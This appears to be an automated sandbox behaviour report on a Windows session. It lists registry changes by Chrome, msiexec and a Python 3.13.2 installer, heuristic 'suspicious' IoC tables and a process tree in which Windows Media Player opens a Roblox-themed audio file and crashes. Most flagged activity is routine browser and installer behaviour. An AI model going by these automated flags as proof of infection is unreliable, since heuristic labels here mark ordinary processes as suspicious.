Set value (data)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Installer\Dependencies	python-3.13.2-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Installer\Dependencies\{A8BA555F-4CCF-4B73-8205-C9529D178E57}\ = "{A8BA555F-4CCF-4B73-8205-C9529D178E57}"	python-3.13.2-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Python.File\shell	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Python.NoConFile\Shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Python.ArchiveFile\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\Python\\Launcher\\py.exe\" \"%L\" %*"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\.pyz	msiexec.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\4\ComDlg\{CD0FC69B-71E2-46E5-9690-5BCD9F57AAB3}\FFlags = "1092616193"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Python.CompiledFile\shell\open	msiexec.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 000000000200000001000000ffffffff	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202020202020202020202	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Installer\Dependencies\{7864E49A-A67D-4FA4-A3A6-E5049FCBBBF0}\Dependents\{2f6912bf-a96d-496e-9d97-7d9b771df28d}	python-3.13.2-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Installer\Dependencies\{89609059-34FF-4C34-8D70-2FF7FA4B2490}	python-3.13.2-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Python.File\Shell\editwithidle\shell\edit313\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\Python\\Python313\\pythonw.exe\" -m idlelib \"%L\" %*"	msiexec.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Python.CompiledFile\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Programs\\Python\\Launcher\\py.exe\" \"%L\" %*"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Python.CompiledFile\shellex\DropHandler	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Installer\Dependencies\{5E8E4228-121B-49EA-9CC2-B8E3CBED5080}	python-3.13.2-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\LogicalViewMode = "1"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Installer\Dependencies\{5EEECB0A-2BEA-4A17-8F52-33853A198059}	python-3.13.2-amd64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\.py\ = "Python.File"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Python.NoConFile\shell	msiexec.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByDirection = "4294967295"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\1	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Installer\Dependencies\CPython-3.13\ = "{2f6912bf-a96d-496e-9d97-7d9b771df28d}"	python-3.13.2-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Python.NoConFile	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\3\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByDirection = "4294967295"	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	chrome.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\2 = 14002e80922b16d365937a46956b92703aca08af0000	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Installer\Dependencies\{89609059-34FF-4C34-8D70-2FF7FA4B2490}\Dependents	python-3.13.2-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Installer\Dependencies\{A8BA555F-4CCF-4B73-8205-C9529D178E57}\Dependents\{2f6912bf-a96d-496e-9d97-7d9b771df28d}	python-3.13.2-amd64.exe
Key created	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Python.NoConFile\Shell\open	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\.pyd	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Python.ArchiveFile\shellex	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000_Classes\Python.NoConArchiveFile\shell	msiexec.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
5376	reg.exe
5124	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 48 IoCs

pid	Process
1104	chrome.exe
1104	chrome.exe
668	msiexec.exe
668	msiexec.exe
668	msiexec.exe
668	msiexec.exe
668	msiexec.exe
668	msiexec.exe
668	msiexec.exe
668	msiexec.exe
668	msiexec.exe
668	msiexec.exe
668	msiexec.exe
668	msiexec.exe
668	msiexec.exe
668	msiexec.exe
668	msiexec.exe
668	msiexec.exe
668	msiexec.exe
668	msiexec.exe
5900	chrome.exe
5900	chrome.exe
5900	chrome.exe
5900	chrome.exe
4668	powershell.exe
4668	powershell.exe
4668	powershell.exe
5388	powershell.exe
5388	powershell.exe
5388	powershell.exe
6012	powershell.exe
6012	powershell.exe
6012	powershell.exe
2036	powershell.exe
2036	powershell.exe
2036	powershell.exe
5512	powershell.exe
5512	powershell.exe
5512	powershell.exe
1260	powershell.exe
1260	powershell.exe
1260	powershell.exe
1168	powershell.exe
1168	powershell.exe
1168	powershell.exe
1728	powershell.exe
1728	powershell.exe
1728	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
4944	chrome.exe
2884	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 28 IoCs

pid	Process
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4416	wmplayer.exe
Token: SeCreatePagefilePrivilege	4416	wmplayer.exe
Token: SeShutdownPrivilege	1916	unregmp2.exe
Token: SeCreatePagefilePrivilege	1916	unregmp2.exe
Token: 33	4280	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	4280	AUDIODG.EXE
Token: SeShutdownPrivilege	4416	wmplayer.exe
Token: SeCreatePagefilePrivilege	4416	wmplayer.exe
Token: SeShutdownPrivilege	1104	chrome.exe
Token: SeCreatePagefilePrivilege	1104	chrome.exe
Token: SeShutdownPrivilege	1104	chrome.exe
Token: SeCreatePagefilePrivilege	1104	chrome.exe
Token: SeShutdownPrivilege	1104	chrome.exe
Token: SeCreatePagefilePrivilege	1104	chrome.exe
Token: SeShutdownPrivilege	1104	chrome.exe
Token: SeCreatePagefilePrivilege	1104	chrome.exe
Token: SeShutdownPrivilege	1104	chrome.exe
Token: SeCreatePagefilePrivilege	1104	chrome.exe
Token: SeShutdownPrivilege	1104	chrome.exe
Token: SeCreatePagefilePrivilege	1104	chrome.exe
Token: SeShutdownPrivilege	1104	chrome.exe
Token: SeCreatePagefilePrivilege	1104	chrome.exe
Token: SeShutdownPrivilege	1104	chrome.exe
Token: SeCreatePagefilePrivilege	1104	chrome.exe
Token: SeShutdownPrivilege	1104	chrome.exe
Token: SeCreatePagefilePrivilege	1104	chrome.exe
Token: SeShutdownPrivilege	1104	chrome.exe
Token: SeCreatePagefilePrivilege	1104	chrome.exe
Token: SeShutdownPrivilege	1104	chrome.exe
Token: SeCreatePagefilePrivilege	1104	chrome.exe
Token: SeShutdownPrivilege	1104	chrome.exe
Token: SeCreatePagefilePrivilege	1104	chrome.exe
Token: SeShutdownPrivilege	1104	chrome.exe
Token: SeCreatePagefilePrivilege	1104	chrome.exe
Token: SeShutdownPrivilege	1104	chrome.exe
Token: SeCreatePagefilePrivilege	1104	chrome.exe
Token: SeShutdownPrivilege	1104	chrome.exe
Token: SeCreatePagefilePrivilege	1104	chrome.exe
Token: SeShutdownPrivilege	1104	chrome.exe
Token: SeCreatePagefilePrivilege	1104	chrome.exe
Token: SeShutdownPrivilege	1104	chrome.exe
Token: SeCreatePagefilePrivilege	1104	chrome.exe
Token: SeShutdownPrivilege	1104	chrome.exe
Token: SeCreatePagefilePrivilege	1104	chrome.exe
Token: SeShutdownPrivilege	1104	chrome.exe
Token: SeCreatePagefilePrivilege	1104	chrome.exe
Token: SeShutdownPrivilege	1104	chrome.exe
Token: SeCreatePagefilePrivilege	1104	chrome.exe
Token: SeShutdownPrivilege	1104	chrome.exe
Token: SeCreatePagefilePrivilege	1104	chrome.exe
Token: SeShutdownPrivilege	1104	chrome.exe
Token: SeCreatePagefilePrivilege	1104	chrome.exe
Token: SeShutdownPrivilege	1104	chrome.exe
Token: SeCreatePagefilePrivilege	1104	chrome.exe
Token: SeShutdownPrivilege	1104	chrome.exe
Token: SeCreatePagefilePrivilege	1104	chrome.exe
Token: SeShutdownPrivilege	1104	chrome.exe
Token: SeCreatePagefilePrivilege	1104	chrome.exe
Token: SeShutdownPrivilege	1104	chrome.exe
Token: SeCreatePagefilePrivilege	1104	chrome.exe
Token: SeShutdownPrivilege	1104	chrome.exe
Token: SeCreatePagefilePrivilege	1104	chrome.exe
Token: SeShutdownPrivilege	1104	chrome.exe
Token: SeCreatePagefilePrivilege	1104	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4416	wmplayer.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
3624	python-3.13.2-amd64.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe
1104	chrome.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
2352	OpenWith.exe
2912	OpenWith.exe
2912	OpenWith.exe
2912	OpenWith.exe
4944	chrome.exe
4944	chrome.exe
4944	chrome.exe
2884	chrome.exe
1240	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4416 wrote to memory of 1104	4416	wmplayer.exe	87
PID 4416 wrote to memory of 1104	4416	wmplayer.exe	87
PID 4416 wrote to memory of 1104	4416	wmplayer.exe	87
PID 1104 wrote to memory of 1916	1104	unregmp2.exe	88
PID 1104 wrote to memory of 1916	1104	unregmp2.exe	88
PID 1104 wrote to memory of 4652	1104	chrome.exe	103
PID 1104 wrote to memory of 4652	1104	chrome.exe	103
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 216	1104	chrome.exe	106
PID 1104 wrote to memory of 4196	1104	chrome.exe	107
PID 1104 wrote to memory of 4196	1104	chrome.exe	107
PID 1104 wrote to memory of 4220	1104	chrome.exe	108
PID 1104 wrote to memory of 4220	1104	chrome.exe	108
PID 1104 wrote to memory of 4220	1104	chrome.exe	108
PID 1104 wrote to memory of 4220	1104	chrome.exe	108
PID 1104 wrote to memory of 4220	1104	chrome.exe	108
PID 1104 wrote to memory of 4220	1104	chrome.exe	108
PID 1104 wrote to memory of 4220	1104	chrome.exe	108
PID 1104 wrote to memory of 4220	1104	chrome.exe	108
PID 1104 wrote to memory of 4220	1104	chrome.exe	108
PID 1104 wrote to memory of 4220	1104	chrome.exe	108
PID 1104 wrote to memory of 4220	1104	chrome.exe	108
PID 1104 wrote to memory of 4220	1104	chrome.exe	108
PID 1104 wrote to memory of 4220	1104	chrome.exe	108
PID 1104 wrote to memory of 4220	1104	chrome.exe	108
PID 1104 wrote to memory of 4220	1104	chrome.exe	108
PID 1104 wrote to memory of 4220	1104	chrome.exe	108
PID 1104 wrote to memory of 4220	1104	chrome.exe	108
PID 1104 wrote to memory of 4220	1104	chrome.exe	108
PID 1104 wrote to memory of 4220	1104	chrome.exe	108
PID 1104 wrote to memory of 4220	1104	chrome.exe	108
PID 1104 wrote to memory of 4220	1104	chrome.exe	108
PID 1104 wrote to memory of 4220	1104	chrome.exe	108
PID 1104 wrote to memory of 4220	1104	chrome.exe	108
PID 1104 wrote to memory of 4220	1104	chrome.exe	108
PID 1104 wrote to memory of 4220	1104	chrome.exe	108

C:\Program Files (x86)\Windows Media Player\wmplayer.exe
"C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "C:\Users\Admin\AppData\Local\Temp\custom makeup all the wayy #dresstoimpressroblox #dresstoimpress #roblox #dti [TubeRipper.com].m4a"
1⤵
- Drops desktop.ini file(s)
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4416
- C:\Windows\SysWOW64\unregmp2.exe
  "C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1104
- - C:\Windows\system32\unregmp2.exe
    "C:\Windows\SysNative\unregmp2.exe" /AsyncFirstLogon /REENTRANT
    3⤵
    - Enumerates connected drives
    - Suspicious use of AdjustPrivilegeToken
    PID:1916
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4416 -s 2352
  2⤵
  - Program crash
  PID:668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s upnphost
1⤵
- Drops file in Windows directory
PID:3240

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x518 0x2d4
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4280

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1104
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ff84c29cc40,0x7ff84c29cc4c,0x7ff84c29cc58
  2⤵
  PID:4652
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1740,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=1736 /prefetch:2
  2⤵
  PID:216
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1860,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2104 /prefetch:3
  2⤵
  - Downloads MZ/PE file
  PID:4196
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2280,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2292 /prefetch:8
  2⤵
  PID:4220
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3152,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3160 /prefetch:1
  2⤵
  PID:4648
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3292,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3312 /prefetch:1
  2⤵
  PID:3388
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4604,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4612 /prefetch:1
  2⤵
  PID:1260
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4760,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4052 /prefetch:8
  2⤵
  PID:4348
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=3144,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3704 /prefetch:8
  2⤵
  PID:1712
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4948,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4936 /prefetch:8
  2⤵
  PID:3712
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5072,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4432 /prefetch:8
  2⤵
  PID:2320
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4732,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4908 /prefetch:8
  2⤵
  PID:5076
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5184,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4896 /prefetch:8
  2⤵
  PID:1240
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5268,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3692 /prefetch:8
  2⤵
  PID:1840
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5228,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4936 /prefetch:8
  2⤵
  PID:1108
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=5472,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5320 /prefetch:2
  2⤵
  PID:5668
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --field-trial-handle=5600,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5648 /prefetch:1
  2⤵
  PID:5196
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=5004,i,10518905462031434221,15084493407668759172,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5612 /prefetch:1
  2⤵
  PID:5396
- C:\Program Files\Google\Chrome\Application\chrome.exe
